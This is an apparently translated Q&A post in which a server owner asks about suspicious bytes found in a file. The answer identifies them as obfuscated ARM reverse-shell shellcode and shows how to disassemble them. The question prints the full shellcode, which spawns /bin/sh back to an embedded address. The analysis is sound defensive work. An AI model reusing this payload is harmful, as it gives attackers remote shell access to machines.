簡體   English   中英

無法解碼在我的服務器上找到的 shellcode

[英]Cannot decode shellcode found on my server

今天我對我的網站運行緩慢感到震驚,所以我決定看看哪里出了問題。 查看 apache2,服務器帶寬,配置不正確,找不到任何東西。 所以一時興起,我打開了一個我不知道存在的隨機文件,至少我沒有把它放在那里。

這是我在文件中找到的代碼:

\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde

誰能把我推向正確的方向..? 它看起來像一些惡意的 shell 代碼。 我試圖對其進行解碼,但無法弄清楚它是如何編碼的。

謝謝!

我試過 Ascii 轉文本,二進制轉文本,base64 轉文本。 當我嘗試從 ascii 解碼為文本時,我發現的唯一有用的文本是 /bin/。

好像是ARM反向shell bin/sh shellcode。

分析

如果每四個字節的第一個半字節是“e”,那么它很可能是ARM代碼。 這是因為條件執行(總是執行)。 在這種情況下,第四個和八個字節是 e2 和 e1。

要轉換為 ELF 文件並查看反匯編,您可以執行以下操作:

$ arm-none-eabi-objcopy -I binary -O elf32-littlearm data.bin data.elf
$ arm-none-eabi-objdump -D data.elf

前兩條指令處於 ARM 模式,即從地址 8 開始跳轉到拇指模式。

   0:   e28f1001        add     r1, pc, #1
   4:   e12fff11        bx      r1

你可以看看拇指代碼

arm-none-eabi-objdump -M force-thumb -D data.elf

然后拇指代碼發出一些系統調用,並修改自身以修補 null 字節並添加一些混淆,使我們的生活更加艱難。

我搜索了系統調用和一些常量,發現了這個: https://packetstormsecurity.com/files/151392/Linux-ARM-Reverse-Shell-Shellcode.html不完全相同,但非常相似。 您提供的代碼添加了一些混淆,並且 IP 地址/端口已更改。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM